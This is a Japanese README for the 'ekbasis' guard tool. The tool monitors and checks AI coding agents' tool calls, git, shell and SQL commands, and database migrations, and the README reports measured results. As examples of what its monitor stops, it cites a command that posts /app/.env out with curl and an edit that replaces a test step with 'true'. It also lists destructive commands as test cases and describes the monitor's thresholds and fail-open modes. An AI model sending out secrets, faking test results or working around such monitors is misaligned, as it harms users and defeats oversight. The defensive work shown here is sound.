Claude Code で、すべてのツール呼び出しを監視する(ekbasis-monitor-hook、0.1.40 以降)。 プラグインには 2 つ目の PreToolUse フックとしてモニターが含まれています。EKBASIS_MONITOR=1 を設定するまで無効です。プラグインを使わない場合は、.claude/settings.json に追加してください。
{"hooks": {"PreToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": "ekbasis-monitor-hook", "timeout": 15}]}]}}
何かを変更できる呼び出し(Bash、Edit、Write、WebFetch、MCP ツールなど)の前に、直前のメッセージ、エージェントが行った直近 5 回の呼び出し、および実行直前の呼び出しについて、3 つの MONITOR 質問をします(読み取りはスキップされます)。いずれかのスコアが 0.9 以上の場合、Claude Code は確認を求めます(研究で用いた監査予算 1% のしきい値。EKBASIS_MONITOR_THRESHOLD)。ホスト型 API での記録では、curl ... -d @/app/.env と、run: pytest を run: true に変更する Edit は停止され(94~98%)、誠実な修正とテストの実行は通過しました。確認対象の呼び出し 1 回につき約 1 秒かかります。EKBASIS_MONITOR_MODE=log を設定するとブロックせず、実行されたはずの内容を ~/.cache/ekbasis/monitor_log.jsonl に書き込みます。まずはしばらくこのモードで試してください。これは追加の保護層であり、失敗時は処理を続行します(EKBASIS_MONITOR_FAIL_CLOSED=1 を設定すると確認を求めます)。
既知のケースでルールをテストする(--cases、0.1.38 以降)
答えを決めるのは、ルールと状態がシステムについて示している内容です。ルールファイルを信頼する前と、編集するたびに、すでに結果がわかっているケースで実行してください。過去のインシデント(有害なステップに到達する前か、その時点で停止する必要があります)と、通常のプラン(通過する必要があります)を使います。1行に1つの JSON オブジェクトを記述します。
{"name": "incident-pvc-cleanup", "state": "@state.txt", "request": "free some disk space in the cluster", "actions": ["kubectl -n staging delete pod -l job=old-report", "kubectl -n prod delete pvc data-postgres-0"], "expect": {"stop_by": 2}}
{"name": "routine-rollout", "state": "@state.txt", "request": "restart the api in prod so it picks up the new config", "actions": ["kubectl -n prod rollout restart deploy/api", "kubectl -n prod rollout status deploy/api"], "expect": "ok"}
$ ekbasis plan-check --rules @rules.md --cases cases.jsonl --compare last-run.json
PASS incident-pvc-cleanup stop at 2: data_lost, outage, unasked_deletes, breaks_later (p 0.98)
PASS incident-scale-to-zero stop at 1: outage (p 0.98)
PASS incident-wrong-namespace stop at 1: data_lost, outage, unasked_deletes, breaks_later (p 0.99)
PASS routine-rollout ok (highest harm p 0.01)
PASS routine-staging-teardown ok (highest harm p 0.02)
PASS routine-read-only ok (highest harm p 0.00)
plans that must stop: 3/3 stopped in time · plans that must pass: 3/3 passed · 10 requests
examples/plan-casesを使って、ホスト型 API で記録されています。
"expect" は "ok"、"stop"(どのステップでも)、または {"stop_by": N} です。ケースごとに "rules"、"harm"、"ask" を設定することもでき、ケース内の @FILE はケースファイルと同じ場所から読み込まれます。それ以外の結果になったケースは MISS(通過)、LATE(ステップ N の後に停止)、または FALSE ALARM(通常のプランが停止)です。すべてのケースが通過すれば終了コードは 0、そうでなければ 2、ケースを判定できなかった場合は 3 です。--compare FILE は結果を保存し、次回の実行時に、判定が変わったすべてのケースを表示します。モデルが確信を持てずに停止するようになったケースも含まれます。上の実行例では、「本番環境で何かを再起動するとサイトが停止する」という誤ったルールを追加しても、6/6 ケースは通過しましたが、スケール・トゥ・ゼロの停止理由は outage (p 0.98) から unsure (confidence 0.53) に変わり、--compare はその変化を表示します。チェックするステップごとにリクエストが1回必要です。
- 実システムでのループ:
run_plan(client, rules, actions, harm, observe=read_state, execute=run)は、安全な範囲のステップをチェックして実行し、実際の状態を読み取り、残りをチェックします。実際の状態でも問題が指摘されるステップの前で停止します。 - 有害性に関する質問は、答えが「はい」ならその有害性が発生する、はい/いいえ形式の質問です(
yes_no)。気にかけている影響をすべて1つのリクエストに含めてください(まとめて回答されます)。 - コストと時間:チェックするプレフィックスごとにリクエストが1回必要で、各リクエストでは状態とプレフィックスが読み込まれます(トークン数はプランに応じて増えます)。プレフィックスはそれぞれ独立しているため、
check_planは最大parallel件を同時に問い合わせます(デフォルトは4、0.1.27 以降。1件ずつ実行する場合と回答は同じです)。ホスト型 API での測定結果では、10ステップのプランは1件ずつの場合が10.3秒、parallel=4の場合が3.6秒、parallel=10の場合が2.5秒でした。max_stepsで長いプランの上限を設定できます。上限を超えたステップは未チェックとして扱われます。 - 答えに厳密性が求められる場合(累計値が上限を超えるか、コマンドが失敗するかなど)は、コードでもチェックしてください。確信度の高い誤りは存在し、確信度だけでは見つけられません(
ekbasis.verify、threshold)。 - シェルスクリプトと SQL には
ekbasis preflightがあります(可能な場合はコピー上でプランを実行します)。git にはフックがあります。
確信度が高い場合にチェックする(ekbasis.verify、0.1.4 以降)
確信が持てない場合に調べれば、確信度が0.9未満の回答をカバーできます。残るのは確信度の高い誤り、つまり確信度が0.9以上で間違っている回答です。確信度だけでは適切に優先順位を付けられません。確信度の高い回答の80%を見つけるには、その約半数を検証する必要があります。ekbasis.verify は、確信度の高い回答のうち、実際に実行して確認すべきものと、その理由を示します。
from ekbasis import Ekbasis, git, verify, world_state, yes_no
client = Ekbasis()
tracker = verify.FamilyTracker("~/.ekbasis/families.json") # outcomes you observed, per family of question
# rules, state, actions, questions and render as for simulate() (see Look when unsure)
text = world_state(rules, render(state), actions) # the question, asked about all the actions at once
q = yes_no("Does the alarm ring?")
ans = client.ask(text, {"q": q})["q"]
d = verify.check(client, text, q, ans, family="alarms|threshold", tracker=tracker)
if d.verify:
print("check before acting:", *d.reasons, sep="\n ")
# after acting and reading the real outcome
tracker.observe("alarms|threshold", correct=(observed == d.answer))
# a blocked action has no outcome: never observe() it
tracker.unobserved("alarms|threshold")
# git: one decision per guard question (no self-check for git)
decisions = verify.git(git.check(["git stash", "git checkout main"]), client, tracker)
# several actions in a row: the direct answer against the step-by-step one
d = verify.check_steps(client, rules, state, actions, questions, render, target="alarm")
確信度の高い回答に対して、check は3つのシグナルを組み合わせます。それぞれを固定の参照回答と照合します。
- 観測した結果に基づく、質問の種類ごとのエラー率。
- 選択肢を逆順にした場合、または質問を言い換えた場合に、回答がどの程度安定しているか(追加リクエスト1回)。
- モデル自身によるセルフチェック(追加リクエスト1回)。誤解を招くため、git とシェルでは使用されません。
これらの平均パーセンタイルが、回答の分野に設定されたしきい値(domain=)に達すると、検証を求めます。
domain | しきい値 |
|---|---|
"rules" | 0.6056 |
"sql" | 0.4836 |
"shell" | 0.6571 |
"git" | 0.7675 |
"totals" | 0.7361 |
| その他 | 0.6414 |
rule="conformal" では代わりに α = 0.15 のファミリー別しきい値を使用し、rule="global" ではすべての場所で 0.6414 を使用します。 | |
rule="certified"(0.1.5)は、Learn-then-Test の証明が成立する場合に限り、検証せずに動作します(受け入れた回答のうち誤りは 2% 以下、δ = 0.05)。それ以外の回答はすべて検証されます。各 Decision には rule、node、threshold が記録されます。check_steps は、段階的な回答によって直接回答の確率が 0.0334 以上変化した場合に、検証を求めます。 |
5 つの能力スイート(ルール、SQL、シェル、git、累計)から新しい項目を用いた、事前登録済みの 2 つのテストで測定しました。2 回目の confirm-2 では、自信のある回答が 18,615 件あり、そのうち 1,202 件が誤りでした。また、すべての項目が最初のテストとも重複していません。
| ルール | 捕捉した自信のある回答の誤り | 検証した自信のある回答 |
|---|---|---|
rule="domain"(デフォルト) | 84.5% | 22.6% |
rule="conformal" | 86.3% | 26.2% |
rule="global"(最初のテスト / confirm-2) | 84.9% / 83.5% | 23.4% / 23.4% |
| 同じ検証率での自信度のみ | 65.7% | 23.4% |
verify.check_steps、上限付近の累計のみ(最初のテスト / confirm-2) | 87.9% / 86.3% | 22.8% / 22.2% |
デフォルト設定での confirm-2 におけるドメイン別の捕捉率 / 検証率:
- rules 85.5% / 12.8%;
- sql 87.6% / 50.3%;
- shell 79.9% / 21.6%;
- git 83.7% / 20.1%;
- totals 87.0% / 44.4%。
グローバルなしきい値を 1 つだけ使った場合、SQL の捕捉率は 67% でした。モデルに不確かなときは「不確か」と回答するよう伝えても、捕捉率は 1% でした。モデルがそう答えることはほとんどありません。
認定モード(0.1.5)。 最初の Learn-then-Test ルールは confirm-2 に合格しませんでした。スイートのしきい値にフォールバックした、出現頻度の低いルールファミリーで 3.4% に達したためです。この問題を修正し、事前登録済みの 3 回目のテスト(confirm-3、新しいシナリオ 12,667 件)に合格しました。出現頻度の低いファミリーは、(ドメイン、難易度)ノードにフォールバックします。
| 受け入れた回答のうち誤りの割合 | 検証済み | 捕捉した自信のある回答の誤り | |
|---|---|---|---|
rule="certified" | 0.39% | 26.9% | 94.8% |
2% を超えたノードはありません。同じテストで、デフォルト設定は 85.1% の誤りを捕捉し、22.8% を検証しました。
この証明が成立するのは、このモデルとこれらのジェネレーターにおける各ノードです。以下は対象外です。
- 実際のトラフィック;
- ブロックされたアクション;
- キャリブレーション対象外のファミリー。評価で使用したラベル以外のファミリーキーを含め、これらは常に検証されます。
詳細:docs/VERIFY.md。
3 つのテストの全項目は、このモデルの系統に属するトレーニングファイルの項目と、完全一致も近似重複もありません(220 万行を確認;レポート、confirm-3)。 制限事項
- テストで使用したもの。 ファミリーラベルは評価データから取得され、評価回答の履歴は29,029件です。クライアント独自のキー(
git_family、shell_family、独自のキー)は測定されていません。履歴なしの状態での測定は、評価データのラベルを使い、それ以前のすべての結果が判明している場合のみ行いました。その場合、85.0%を検出し、27.3%を検証しました。履歴のないファミリーはエラー率が50%から始まるため、結果が得られるまではより多くチェックされます。 - ブロックされたアクション。 実際に観測した結果のみをカウントします。ブロックされたアクションはリスクが高そうに見えたものなので、観測されたファミリーのエラー率が実際より低くなる可能性があります。それらの一部にもラベルを付けてください。
verify.audit(0.05)はランダムに5%を選び、サンドボックスで再実行します。ブロックによってエージェントが次に提案する内容も変わるため、オフラインで学習した率は実環境では当てはまらない場合があります。 - ドメイン。 しきい値は測定した5つのドメインに対応しています。それらには
domainを渡してください。それ以外のドメインにはグローバルしきい値が適用されます。この数値はこの5つのドメインから得られたものであり、お客様のドメインから得られたものではありません。 - コンフォーマルグループ。 評価データのファミリーラベルを使用します。独自のファミリーキーでは、各ドメインの「その他」のしきい値のみが適用され、その組み合わせはテストされていません。
- モデルのバージョンは1つのみ。 参照回答としきい値は、このモデル(w4a5)のbf16ビルドで測定したものです。FP8およびINT4ビルドではテストされていません。MLXビルドでは、しきい値を変更せずに新しい項目で再テストしたところ、受け入れられた回答のエラー率は0.15%(666件中1件)でした(docs/VERIFY.md)。新しいモデルには新たなキャリブレーションが必要です。
- コスト。 gitとshellでは、確信度の高い回答ごとに追加リクエストが1回、それ以外では2回発生します。
check_stepsはアクションごとに1回、さらに1回のリクエストが必要です。
詳細:docs/VERIFY.md。事前登録、結果、重複チェック: results/client_0.1.4。
Claude Code と MCP
このセクションの基となったエージェント研究は、デモアプリ、実際のセルフホスト環境のGitea、Nextcloud、Roundcube、および実際のターミナルで実施されました。論文 When Does a Consequence Model Make AI Agents Safer? (PDF、doi:10.5281/zenodo.23197341)では、事前登録を行い、失敗した仮説も報告しています。独自のエージェントで研究を再実行するためのタスク、アプリのセットアップ、アダプター、判定ツールはpaper/agents/benchmarkにあります。
-
Claude Code プラグイン — 以下のフック、スキル、MCP サーバーをまとめてインストールできます。インストールを参照してください。
-
Claude Code フック — Claude Codeは、未コミットの作業を失う可能性があるgitコマンドについて、理由を示して確認を求める(またはブロックする)一方、それ以外の場合は何も表示しません。0.1.2以降はフェイルクローズです。行の処理を見通せない場合(サーバーに接続できない、または
EKBASIS_HOOK_DEADLINE以内に応答がない、リポジトリを読み取れない、gitが別のリポジトリを対象にしている、フックが追跡しない形で行がフォルダーを切り替える、またはフックが評価できない部分を含む場合:サブシェル、同じ行の前の部分で既知の値に設定されたもの以外のgitコマンド内の変数、入れ子のシェル、エイリアス)、Claude Codeは確認を求め、その理由を伝えます。EKBASIS_FAIL_OPEN=1にすると、0.1.1のように何も表示されなくなります。フックはJSONで応答し、終了コード2以外ではブロックされないClaude Codeの仕様に合わせて、終了コード0で終了します。フックは誤る可能性のある警告レイヤーであり、セキュリティ境界ではありません。Claude Code自体の確認、バックアップ、最小権限は引き続き有効にしてください。.claude/settings.json(1つのプロジェクト)または~/.claude/settings.json(すべてのプロジェクト)に設定します。{"hooks": {"PreToolUse": [{"matcher": "Bash", "hooks": [{"type": "command", "command": "ekbasis-claude-hook", "timeout": 30}]}]}}環境変数:
EKBASIS_URL、EKBASIS_LOST_THRESHOLD(0.2)、EKBASIS_GUARD_MODE(ask、deny、logのいずれか: 決してブロックせず、このマシン上だけで、実行するなら何をしたか(ask、ask_cannot_foresee、passのいずれかと、その理由およびコマンド)を~/.cache/ekbasis/hook_log.jsonlまたはEKBASIS_HOOK_LOGに追記します。しばらく試して、実際に処理を止める前に何を止めるか確認できます)、EKBASIS_FETCH=1(最初にフェッチして、状態に実際のリモートを反映します)、EKBASIS_FAIL_OPEN=1(予測できない場合は何も表示しません)、EKBASIS_HOOK_DEADLINE(行全体に対する秒数。デフォルトは 25。フックのtimeoutより短くしてください。そうしないと Claude Code が先にフックを停止し、コマンドが未確認のまま実行されます。Mac の MLX ビルドでは、モデルに問い合わせるプリフライトチェックに 30〜40 秒かかることがあるため、EKBASIS_HOOK_DEADLINE=60とフックのtimeoutを 90 に設定してください)、EKBASIS_SHELL_GUARD=1(以下を参照)、EKBASIS_SHORTCUTS=0(0.1.2 と同様、常にモデルに問い合わせます)、EKBASIS_SAFER=0(警告により安全な方法を表示しません)。摩擦を軽減(0.1.3、実際のリポジトリで Claude Code エージェントを調査した結果に基づく)。
- 読み取り専用の git 操作(
status、log、diff、show、ブランチ、タグ、スタッシュ、ワークツリーの一覧表示、clean -n)では、モデルに問い合わせません。 - 行のどこにあっても
cd DIR、pushd/popd、サブシェル、git -C DIRは追跡され、「予測できない」とは判定されません。同じ行の先行するgit worktree add(またはgit clone、mkdir)で作成されたフォルダーには、未コミットの作業がありません。そのため、バックポートの安全な手順(git worktree add ../wt release && cd ../wt && git cherry-pick X)は許可されますが、メインリポジトリでのgit worktree addは引き続き判定されます。 EKBASIS_SHELL_GUARD=1の場合、git も実行する行のシェル部分もシェルガードに渡されます。各 git コマンドはtrueに置き換えられ、リダイレクトはそのまま残されます。- 失われると復元できないものがない場合は、モデルへの問い合わせも確認も行いません。 コード(
ekbasis.recover)で判定します。- 未コミットの作業がないリポジトリ:すべてのワークツリーには、クリーンな追跡対象ファイルと、無視対象で再生成可能なファイルのみがあり、スタッシュは空で、進行中の操作もありません。
- ドライランで再生成可能なパスだけを削除する
git clean -X。 - 変更される可能性のあるすべてのパスが git にコミット済みか、名前から再生成可能だとわかる無視対象(ビルド出力、キャッシュ、
node_modules、__pycache__)であるシェル行(.env、仮想環境、エディター設定は除きます)。テスト、ビルド、lint の実行コマンド(go test、python -m pytest、npm test、gofmt -l)は、この場合は読み取りとして扱われます。xargsを実行する行は、スキップされません。
- 失われるコミット済みの作業はコードで判定し、未コミットの作業に関するモデルの質問とは分けて報告します。
git branch -D(または-d -f、-r -D)、強制的なブランチの移動や名前変更(branch -f、-M、-C、checkout -B、switch -C、worktree add -B)、チェックアウト中のブランチでのgit reset --hard/--keep/--merge <commit>、タグの削除や移動が該当します。コミットを保持するブランチ、タグ、リモート追跡ブランチ、スタッシュ項目がなくなる場合、フックは確認を求めます。
実際のリポジトリでの新しい Claude Code セッションで測定 (results/client_0.1.3):
- Sonnet 5.5 では、同じコマンドでの 0.1.2 の 10.7 回に対し、100 コマンドあたり 2.9 回の確認でした。コマンドあたりの追加時間の中央値は 0.08 秒でした。
- 破壊的なショートカットを使いたくなるタスクで Haiku 4.5 を使用した場合、0.1.2 と同様に、実際の損失 7 件中 7 件を検出しました。
修正は以前の調査で得られた呼び出しをもとに設計されました。これらのセッションは新しいものです。
- 読み取り専用の git 操作(
-
シェルガード(プロトタイプ、0.1.2) —
ekbasis shell-check -- "rm -r build/"(またはekbasis.shell.check)は、シェルコマンド行によってファイルの内容が失われるか、コマンドが失敗するかを、操作対象となり得るパスの一覧から判定します。一覧には、名前、種類、サイズ、経過時間、リンクとリンク先、隠しファイル名が含まれますが、ファイルの内容は決して含まれません(各ファイルはチェックごとに新しく生成されるキー付きの短いフィンガープリントとして表示されるため、秘密をプロンプトにコピーせずに同じ内容かどうかを比較できます)。 実行前にシェルがどう解釈するか(ここで引用符のないパターンがどのように展開されるか、引用符のないスペースで名前がどのように分割されるか、同じ内容の別のファイル)と、ここで引数がどう作用するか(rsync のコピー先、sed や grep のパターンに一致する行数、find … | xargsが渡す内容)を書き出し、必要な形式に限って短いシェルルールを追加します(>が読み取り対象でもあるファイルを空にする場合、失敗したcdの後の;、rsync の末尾のスラッシュ、cp -r SRC/.、末尾にスラッシュがあるリンク、xargs とスペース、tar -x、何も変更せずに拒否するコマンド、rm -f、cp -u)。終了コードとフェイルクローズのルールはgit-checkと同じです。パスに変数、サブシェル、またはネストしたシェルが含まれる行は「予測不能」となります(0.1.42 以降、同じ行で前に設定された既知の値の変数D=build; rm -rf "$D"はその値を使って読み取りますが、環境変数、2 回設定された変数、コマンド置換で設定された変数は対象外です)。Claude Code のフックでは、ファイルを変更する可能性のある行に対してオプトイン方式です(EKBASIS_SHELL_GUARD=1)。0.1.3 以降は、git を含む行のシェル部分も対象です。設計時に使用していない 46 種類のコマンド形式による新規シナリオ 292 件(Linux の bash で実際に実行した結果)で評価したところ、内容消失の判定正解率は 91.4%、消失の 93.2%を誤報率 11.9%で検知し、失敗の判定正解率は 96.2%でした。破壊的コマンドの一覧では、それぞれ 54.8%(82.0%を検知、誤報率 67.9%)でした。見逃すケースについては、Limits を参照してください。 git 自体による失敗と作業の消失(0.1.33 以降。8 秒以内に収まる場合、0.1.37 以降はデフォルトで有効): git コマンドをリポジトリのコピー上で順番に実行します(フックは無効、ローカルコマンドのみを実行し、実際のリポジトリには触れません)。各コマンドの失敗は予測ではなく終了コードから判定します。新規シナリオ 1,064 件中 1,064 件で実際の実行結果と一致しました。0.1.34 以降は作業の消失も対象となり、判定 277 件中 277 件で一致しました。デフォルトでは無効です。Linux で reflink が使えない場合、大きなリポジトリではコピーにコストがかかるためです。0.1.37 以降は、コストが低い場合はデフォルトで有効です(EKBASIS_GIT_COPY=0で無効化できます)。 チェーンモード(0.1.29 以降。シェルガードとともにEKBASIS_CHAIN=1を設定): 警告対象の行で複数のコマンドが;、&&、または改行で連結されている場合、フックはリスクのあるコマンドの最初のものを特定します(各コマンドの前置部分を並列にチェックします)。また、そのコマンドより前にある、問題ないと予測されたコマンドと、行を分割する方法を警告に追加します。まずそれらのコマンドだけを実行し、残りは別の呼び出しとして実行します。後者は、分割前のコマンドを実行した後の状態でチェックされます(判断に迷う場合は、check_planがプランに対して行うように確認してください)。判定は同じで、アドバイスだけが追加されます。パイプ、||、&、ヒアドキュメント、複合コマンド、ネストしたシェル、またはセッションを変更するコマンド(cd、export、NAME=value、source)を含む行は分割されません。 -
事前チェック(0.1.6 以降) —
ekbasis preflight -- "sqlite3 app.db < migrations/0012.sql"(またはekbasis.preflight.check_line)は、複数ステップからなる変更を実行前にチェックします。複数のステートメントを含む sqlite3 の実行(<、.read、パイプ、ヒアドキュメント、{ echo "BEGIN;"; cat f.sql; echo "COMMIT;"; } | sqlite3 dbを使ったファイル、同じ行の前の方で書き込まれたファイル)、シェルスクリプト(bash x.sh、./x.sh)、またはコマンドの連鎖が対象です。最初の失敗によって変更が半端に適用される場合にのみ警告します。たとえば、テーブルの再構築でコピーに失敗してもDROP TABLEが実行される場合、移動に失敗した後にクリーンアップ用のrmが実行される場合、フォルダーがない状態でcd build/output; rm -rf *を実行する場合です。- 可能な場合はコピー上で実行します。 ローカルファイルとローカル SQLite データベースの場合、フォルダーまたはデータベースのクローン上で、タイムアウトを設けて一度に 1 ステップずつ計画を実行します(macOS では APFS の clonefile、それ以外では reflink またはサイズ上限付きコピーを使用します)。最初に実際に失敗する箇所とそのエラーが正確にわかり、ファイルが変更されることはありません。すべてのステップが許可リストにあるローカルファイルまたは SQLite コマンドであり、起動するプログラム(
xargsやfind -execなど)も同様で、フォルダー内または一時フォルダー内に書き込む計画のみ、コピー上で実行されます。- シェルのステップは、
sandbox-exec内のみでコピー上で実行されます(macOS):ネットワークへの接続やコピー外への書き込みはできません。サンドボックスがない場合(Linux)、または起動できない場合(preflight 自体が別のサンドボックス内で実行されている場合)、シェルの計画は Ekbasis が判定します。 sqlite3コマンドラインツールがインストールされていれば、SQL の計画はコピー上で実行されます(macOS ではsandbox-exec内)。ほかのファイルに書き込む SQL(ATTACH、VACUUM INTO、readfile/writefile、拡張機能)は、コピー上では実行されません。sqlite3ツールがない場合、sqlite3コマンドはステートメントの実行前に失敗します。preflight はその旨を伝え、警告はしません。Python API に渡された SQL(別の方法で実行する SQL の場合)は Ekbasis が判定します。
- シェルのステップは、
- それ以外は Ekbasis が判定します(リモートや副作用のある対象:サービスを呼び出すスクリプト、push を行うスクリプト、または許可リスト外のツールを使うスクリプト)。各ステップが現在の状態で失敗するかどうかを問い合わせます。スクリプトやコマンドの連鎖では、各ステップの問い合わせにそれより前のステップのみを含める、ステップごとの確認も行います。コードで判定できる事実によって、そのステップの判定が決まります。たとえば、ファイルに対する
mkdir、フォルダーではない対象を末尾にスラッシュの付いた宛先として指定すること、ソースの欠落、存在しないフォルダーへのcd、書き込み権限のないフォルダーへの書き込み、存在しないフォルダーへのアーカイブ、インストールされていないコマンドなどです。CHECK の上限内にある数値はコードで判定されます。連鎖内で sqlite3 によって実行される SQL は SQL として判定されます。 - 警告しない場合: 失敗するステップが読み取りのみを行う場合(
git status、ls、通知用のcurl)、また、バックアップコピー、新しいフォルダー、CREATE TABLE など、追加のみを行うステップの場合(単独の場合)。計画がアトミックに失敗する場合(BEGIN ... COMMIT内でのsqlite3 -bail)。 - 予測できない場合(ループ、条件分岐、関数、その他のドットコマンド、解決できない変数)は何も通知しません。これは追加チェックです(
--fail-closed/EKBASIS_PREFLIGHT_FAIL_CLOSED=1を指定すると代わりに警告します)。0.1.42 以降、インタープリターにインラインで渡されたコードを実行するステップ(python3 -c、python3 - <<'EOF')や、別のマシン上で実行するステップ(ssh、ホストへの scp/rsync)は、失敗したステップとして名前が挙がることはありません。行内のほかのステップは引き続き判定されます。
Claude Code のフックではオプトイン方式です:
EKBASIS_PREFLIGHT=1。ヘッドレス実行では「ask」は拒否となるため、警告にもその旨が表示されます。同じセッションで同じコマンドを再度実行すると通過します(EKBASIS_PREFLIGHT_REPEAT=0:常に警告)。EKBASIS_PREFLIGHT_COPY=0を指定するとコピー上で実行されなくなり、EKBASIS_GIT_GUARD=0を指定すると preflight のみが実行されます。MCP サーバーではpreflight_commandとして公開されます。モデルに SQL について問い合わせる場合、行は Ekbasis サーバーに送られます(--no-rowsを指定すると、代わりにスキーマ、件数、事実が送信されます)。 測定結果(results/client_0.1.6;事前登録済み、新規タスク20件、Claude Code エージェント、1台のMacで実施:macOS 26.3、sqlite3 シェル 3.51.0):- Claude Haiku 4.5では、トラップタスクでの損害がセッション数で23/28から3/28に減り、完了したタスク数は17/40から 34/40に増えました。対照群への警告はありませんでした。
- Claude Sonnet 5.5では、警告7件すべてが正しく、不要な警告を受けたセッションはなく、損害は5/14から 1/14に減りました。
制限事項:
- タスクは独自に用意したものです。
- トラップの大半(14件中9件)はコピー上で実行しました。これは正確です。
- モデルの経路上(コピーでは実行できないコマンド)では、適用途中の変更69件のうち58件が検出され(うち37件は
コードに記述された事実によるもの)、警告51件のうち4件は不要でした。モデルだけでは、macOS の
sed -iが次の単語を サフィックスとして扱うことを見落としました。 - Linuxでは、シェルのプランは常にモデルの経路上で実行されます。 Macでコピー上で実行したシェルのトラップ3件と 対照群2件について、エージェントを使った測定は行っていません。最初の調査のコマンド20件では、コピーを使わない場合、 トラップ14件中14件、対照群6件中0件に警告しました。
- Linuxでも、
sqlite3ツールがインストールされていれば、SQLのプランはコピー上で実行されます。これはユニットテストのみで 確認しています(sqlite3 3.46、Python 3.9および3.12)。
- 可能な場合はコピー上で実行します。 ローカルファイルとローカル SQLite データベースの場合、フォルダーまたはデータベースのクローン上で、タイムアウトを設けて一度に 1 ステップずつ計画を実行します(macOS では APFS の clonefile、それ以外では reflink またはサイズ上限付きコピーを使用します)。最初に実際に失敗する箇所とそのエラーが正確にわかり、ファイルが変更されることはありません。すべてのステップが許可リストにあるローカルファイルまたは SQLite コマンドであり、起動するプログラム(
-
MCP サーバー(
pip install "ekbasis[mcp] @ git+https://github.com/OpenInterpretability/ekbasis"、Python ≥ 3.10):ekbasis-mcpコマンドは、任意の MCP クライアントにcheck_git_commands、predict_consequences、および (0.1.6以降)preflight_commandを公開します。check_git_commandsがコマンドにリスクがあると判断した場合は、safer({commands, p_lost, keeps}または null;より安全な方法)も返します。Claude Codeでは:claude mcp add --scope user ekbasis -e EKBASIS_URL=http://127.0.0.1:8000 -- ekbasis-mcpまたは、プロジェクトの
.mcp.jsonでは:{"mcpServers": {"ekbasis": {"type": "stdio", "command": "ekbasis-mcp", "env": {"EKBASIS_URL": "http://127.0.0.1:8000"}}}}クライアントが仮想環境にインストールされている場合は、
.mcp.jsonおよび他の MCP クライアントの設定ファイルで、 コマンドの絶対パス(which ekbasis-mcp)を使用してください。
より安全な方法
警告だけでは、能力の限られたエージェントが方針を変えないことがよくあります。調査では、実際のアプリで Claude Haiku が
警告を受けても処理を続けました。そのため、git コマンドにリスクがある場合、git-check、Claude Code のフック、および
MCP ツールは、Ekbasis が確認して安全と判断した、同じ意図を保つ代替案も提示します。
ekbasis git-check -- "git reset --hard"
# Ekbasis: RISKY (lose uncommitted work: 99%)
# 0% fails git reset --hard
# - may permanently lose uncommitted work (99%)
# Safer: git stash push && git reset --hard (lose uncommitted work: 0%)
# keeps: the discarded changes stay in a stash (git stash list; git stash pop brings them back)
代替案はルールから導き出され、言語モデルは使用しません(意図の一覧は
ekbasis/safer.py にあります)。reset --hard、checkout -- <file>、restore、および
強制的なブランチ切り替えの前には git stash push を実行します。clean -f の代わりに
git stash push -u -- <what git clean -n lists> を実行します。branch -D N の代わりに
git branch -m N backup/N を実行します。reset --hard <commit> または rebase --onto によってコミットが削除される前、
stash drop の前、およびリモートブランチを削除する前には、バックアップブランチを作成します。
push --force の代わりに git push --force-with-lease --force-if-includes(git >= 2.30)を使います。このコマンドは、
リモートが更新されていれば拒否されます(先に fetch と rebase を実行してください)。--force-with-lease だけを使うことは
絶対に避けてください。fetch の後に使うと、取得したコミットを上書きしてしまいます(測定済み)。各代替案は元のコマンドと
同様にチェックされます(同じ状態、同じ RISKY のしきい値、失敗する可能性が高い手順がないこと、コミットの消失とリモート
コミットの上書きをコードで確認)。条件を満たしたものだけが提示されます。作業を失う可能性が最も低い案が優先され、次に
追加手順が最も少ない案が選ばれます。条件を満たす案がない場合はその旨(Safer: none (...))を示し、何も提案しません。
--json を指定すると safer と safer_note が追加されます。
代替案は並列に、それぞれ1回のリクエストでチェックされるため、検索による追加の往復は約1回分で、コマンドにリスクがある
場合にのみ発生します。--no-safer(CLI)、EKBASIS_SAFER=0(CLIとフック)、または safer=false(MCP)で
無効にできます。フックでは最後に実行され、期限までに残った時間が使われます。処理を完了できない場合、代替案を示さずに
警告が出されます。ホスト型 API に対して使い捨てリポジトリで測定しました:results/safer_route。
マイグレーションガード(プルリクエスト)
プルリクエストをマージする前に、新しい PostgreSQL マイグレーションによってデータが失われたり、失敗したりしないか確認できます。ekbasis migrate-check は、ベースブランチのマイグレーションをスクラッチの PostgreSQL に適用してスキーマを構築し、読み取り専用レプリカを指定すると行数と NULL の統計情報を追加します(プランナー統計情報のみで、値は一切取得しません)。また、ツールが従うルール(Prisma、Diesel、golang-migrate ではファイルごとに1つのトランザクション)を記述します。スキーマだけで失敗するマイグレーションはコードで判定されます。GitHub Action はプルリクエストごとに1件のコメントを投稿し、チェックを失敗させることもできます。
- uses: actions/checkout@v4
with: {fetch-depth: 0}
- uses: OpenInterpretability/ekbasis/actions/migration-guard@main
with:
api-key: ${{ secrets.EKBASIS_API_KEY }}
同じファイル、ベーススキーマ、クライアントバージョン、ルールで確認済みのマイグレーションは再送信されません。判定は30日間のキャッシュから再利用されます(モデル呼び出しもトークン消費もありません)。
Alembic と Rails(サポート対象)、および Django(実験的サポート。事前登録された評価では、リスクのあるマイグレーション34件中6件を見逃しました)のマイグレーションは、ネットワーク接続もシークレットもないコンテナ内で、フレームワーク自体によって SQL に変換されます(オプトイン:Action の framework:、ekbasis migrate-gen)。シード済みデータベースで実行した実際のマイグレーションを用いた、事前登録済みの評価で測定しています。調査対象から除外した184件のマイグレーションでは、ガードの判定正解率は87.5%で、正規表現ルールの69.6%を上回りました。理由(「失敗する」か「データが失われる」か)の正解率は92.5%で、無害なマイグレーションに対する誤警告率は15.6%でした(正規表現ルールでは43.0%)。詳細、終了コード、制限事項については、docs/MIGRATION_GUARD.mdをご覧ください。
フィードバック(ホスト型 API)
回答が正しかったか、間違っていたかが分かったら、ぜひお知らせください。無料で、コマンド1つで実行でき、独自のシナリオではなく実際の利用に基づいてモデルを評価するために役立ちます。
ekbasis feedback --last --prevented-harm # it warned and that stopped a real mistake
ekbasis feedback --last --false-alarm --note "the folder was a build cache"
ekbasis feedback req_0123456789abcdef01234567 --correct
判定:--correct、--wrong、--prevented-harm、--false-alarm。--last は、このマシンがホスト型 API から最後に受け取った回答を指定します(クライアントが保持するのはリクエスト ID のみで、保存先は ~/.cache/ekbasis/last_request_id です)。1つのリクエスト ID につきフィードバックは1回までで、30日以内に送信する必要があります。記録されると終了コード0、拒否されると4(不明な ID、送信済み、レート制限、キーなし)、サーバーに接続できない場合は3を返します。Python では、client.ask(...) の後に client.feedback("wrong", note="...") を実行します。セルフホスト型サーバーにはフィードバックエンドポイントがありません。
一度だけ読み取る
